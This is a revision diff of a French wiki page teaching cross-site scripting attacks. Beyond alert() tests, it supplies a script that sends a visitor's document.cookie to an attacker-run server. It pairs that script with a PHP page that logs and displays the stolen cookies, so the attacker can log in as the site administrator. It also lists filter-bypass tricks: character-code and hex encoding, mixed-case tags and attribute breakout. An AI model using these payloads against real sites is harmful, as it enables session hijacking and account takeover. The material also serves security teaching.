Outils pour utilisateurs

Outils du site


web:injection_xss

Différences

Ci-dessous, les différences entre deux révisions de la page.

Lien vers cette vue comparative

Les deux révisions précédentes Révision précédente
Prochaine révision
Révision précédente
web:injection_xss [2016/02/02 07:45]
arkinar
web:injection_xss [2016/07/04 08:38] (Version actuelle)
Ligne 1: Ligne 1:
-Failles XSS:+**Failles XSS**
  
 Le cross-site scripting (abrégé XSS), est un type de faille de sécurité des sites web permettant d'​injecter du contenu dans une page. Elle permet ainsi de provoquer des actions sur les navigateurs web visitant la page. Le cross-site scripting (abrégé XSS), est un type de faille de sécurité des sites web permettant d'​injecter du contenu dans une page. Elle permet ainsi de provoquer des actions sur les navigateurs web visitant la page.
Ligne 7: Ligne 7:
 Comment la détecter : Comment la détecter :
  
-Dans les formulaires les personnes sont censées entrer des données "formater" d'une certaine façon.+Dans les formulaires les personnes sont censées entrer des données "formatées" d'une certaine façon.
  
-Par exemple dans un champs pseudo on s’attend à ce que la personne ​rentre ​quelque chose comme : isileaks ou is1leaks.+Par exemple dans un champs pseudo on s’attend à ce que la personne ​entre quelque chose comme : isileaks ou is1leaks.
  
 Si nous rentrons cela : Si nous rentrons cela :
  
-<b> coucou </b>+<​code>​<b> coucou </b></​code>
  
 Si vous voyez apparaitre "​coucou"​ en gras à coter du champs, le code est faillible. Si vous voyez apparaitre "​coucou"​ en gras à coter du champs, le code est faillible.
Ligne 23: Ligne 23:
 Le code html c'est gentil mais injectons quelque chose de plus sérieux : Le code html c'est gentil mais injectons quelque chose de plus sérieux :
  
-Du javascript  ​:+Du javascript ​:
  
-<​script>​ alert('​coucou'​) </​script>​+<​code>​<​script>​ alert('​coucou'​) </script></​code>
  
 Si une pop-up s'​ouvre c'est que le champ est faillible et que nous pourrons l'​exploiter avec du JS. Si une pop-up s'​ouvre c'est que le champ est faillible et que nous pourrons l'​exploiter avec du JS.
Ligne 32: Ligne 32:
  
  
-**Méthode ​1:**+__Méthode ​1:__
  
 On va injecter notre code javascript sur le site faillible On va injecter notre code javascript sur le site faillible
Ligne 43: Ligne 43:
  
  
-<​script>​ alert("​hack by XSS"​)</​script>​+<​code>​<​script>​ alert("​hack by XSS"​)</​script></​code>
  
 Cela aurait pour effet d'​afficher une pop-up lorsque la page du site faillible s'​ouvrira. Cela aurait pour effet d'​afficher une pop-up lorsque la page du site faillible s'​ouvrira.
Ligne 52: Ligne 52:
 Le code que je vous ai donné n'aura pas d’effet grave sur la victime mais vous pouvez faire de grandes choses avec du JS. Le code que je vous ai donné n'aura pas d’effet grave sur la victime mais vous pouvez faire de grandes choses avec du JS.
  
-Méthode ​2:+__Méthode ​2: CSRF__
  
 La CSRF (Cross-Site Request Forgery) est une attaque visant à faire exécuter une action à un utilisateur sans qu'il en soit conscient. La CSRF (Cross-Site Request Forgery) est une attaque visant à faire exécuter une action à un utilisateur sans qu'il en soit conscient.
Ligne 62: Ligne 62:
 Dans le contenu du message nous allons mettre notre code javascript : Dans le contenu du message nous allons mettre notre code javascript :
  
-<​script>​window.open("​http://​monserveur/​mapage.php?​cookie="​+document.cookie)</​script>​+<​code>​<​script>​window.open("​http://​monserveur/​mapage.php?​cookie="​+document.cookie)</​script></​code>
  
-Ce code javascript ​à pour effet d'​envoyer le contenu du cookie vers votre site web+Ce code javascript ​pour effet d'​envoyer le contenu du cookie vers votre site web.
  
 De votre coté il vous faudra un serveur web ainsi qu'une page php contenant: De votre coté il vous faudra un serveur web ainsi qu'une page php contenant:
 +<​code>​
 <?php <?php
  
-if(!empty($_GET["​cookie"​])) ​+if(!empty($_GET["​cookie"​])) ​
 + 
 +    $fp = fopen("​getCookie.log",​ "​a+"​);​
  
-{    $fp = fopen("​getCookie.log",​ ";​a+";​);​ 
     if($fp) {     if($fp) {
 +
         $dateTime = new DateTime("​NOW"​);​         $dateTime = new DateTime("​NOW"​);​
-         fputs($fp, $dateTime-&gt;format("​Y-m-d h:​i:​s"​). ​&#​34; ​&#34;.htmlspecialchars($_GET[&#34;cookie&#34;]).&#34;\\n&#34;); + 
-         ​fclose($fp);​ +        ​fputs($fp, $dateTime->format("​Y-m-d h:​i:​s"​). ​" ​".htmlspecialchars($_GET["cookie"])."\n"); 
-         ​ + 
-          +        ​fclose($fp);​ 
-           + 
-          if(!empty($_GET["​admin"​])) ​ +    
-          ​{$fp = fopen("​getCookie.log", ​&#34;r&#34;); + 
-          while($lig = fgets($fp)) +
-                 ​echo $lig.} + 
-           ​ + 
-           ​fclose($fp);​ + 
-           ​}; +if(!empty($_GET["​admin"​])) { 
-           ​ + 
-           Code actuellement en cours de realisation +    ​$fp = fopen("​getCookie.log", ​"r"); 
-          + 
-         +    ​while($lig = fgets($fp)) { 
 + 
 +        ​echo $lig."<​br>";​ 
 + 
 +    ​
 + 
 +    fclose($fp);​ 
 + 
 +
 + 
 +?> 
 +</​code> ​      
 Lorsque l'​administrateur va lire le message, la valeur de son cookie sera récupérée sur votre page php.  Lorsque l'​administrateur va lire le message, la valeur de son cookie sera récupérée sur votre page php. 
  
 Pour consulter cette valeur il vous suffira de vous rendre sur la page getCookie.log qui va se crée automatiquement. Pour consulter cette valeur il vous suffira de vous rendre sur la page getCookie.log qui va se crée automatiquement.
  
-En cas d'​authentification par cookie vous pourrez vous connecter en tant qu'​admin+En cas d'​authentification par cookie vous pourrez vous connecter en tant qu'​admin
 + 
 +ByPassing des protections contre les XSS: 
 + 
 +Il arrive parfois que des protections soient mises en place pour empêcher ce genre d'​attaque,​ voici quelques techniques pour bypasser ces protections. 
 + 
 +__Bypassing magic_quotes_gpc :__ 
 + 
 +La fonction magic_quotes_gpc=on en php modifie les quotes qu'​elles soient simple ou double (' ou ") en backslash (\). Par exemple <​script>​alert("​Coucou"​);</​script>​ sera filtré en <​script>​alert(\Coucou\);</​script>​ empêchant ainsi le script de fonctionner. 
 +Alors comment faire ?! Utiliser les caractères ASCII ! 
 + 
 +notre Coucou devient par exemple : String.fromCharCode(67,​ 111, 117, 99, 111, 117) 
 +Ce qui donne  
 +<​code><​script>​String.fromCharCode(97,​ 108, 101, 114, 116, 40, 34, 67, 111, 117, 99, 111, 117, 34, 41, 59)</​script></​code>​ --> Qui sera normalement exécuté ! Pas de quote présente, aucun filtre à réalisé. 
 + 
 +__Bypassing avec des valeurs Hexa :__ 
 + 
 +Nous pouvons aussi convertir notre payload en hexa, notre <​script>​alert("​Coucou"​);</​script>​ devient :  
 + 
 +<​code>​%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%43%6f%75%63%6f%75%22%29%3b%3c%2f%73%63%72%69%70%74%3e</​code>​ 
 + 
 +__Bypassing par obfuscation :__ 
 + 
 +Il arrive parfois qu'un administrateur de site un peu feignant ne daigne pas insérer une réelle protection et filtre les mots script, alert etc ... 
 +un simple <​code><​ScRiPt>​AlErT("​Coucou"​);</​sCrIpT></​code>​ fera l'​affaire !  
 + 
 +Cela bien sur marche de moins en moins, mais parfois... ça suffit ! 
 + 
 +__Bypassing par fermeture de tag :__ 
 + 
 +Parfois il est nécessaire de fermer une balise afin que notre script soit exécuté : 
 +Par exemple : Le contenu du Name est directement injecté dans l’attribut "​class"​ de la balise qui contiendra le message envoyé. 
 + 
 +<​code>​User"><​script>​alert("​Coucou"​);</​script></​code>​
  
 Source :​[[http://​venom630.free.fr/​geo/​tutz/​securite_informatique/​xss/​]] Source :​[[http://​venom630.free.fr/​geo/​tutz/​securite_informatique/​xss/​]]
web/injection_xss.1454399151.txt.gz · Dernière modification: 2016/07/04 08:37 (modification externe)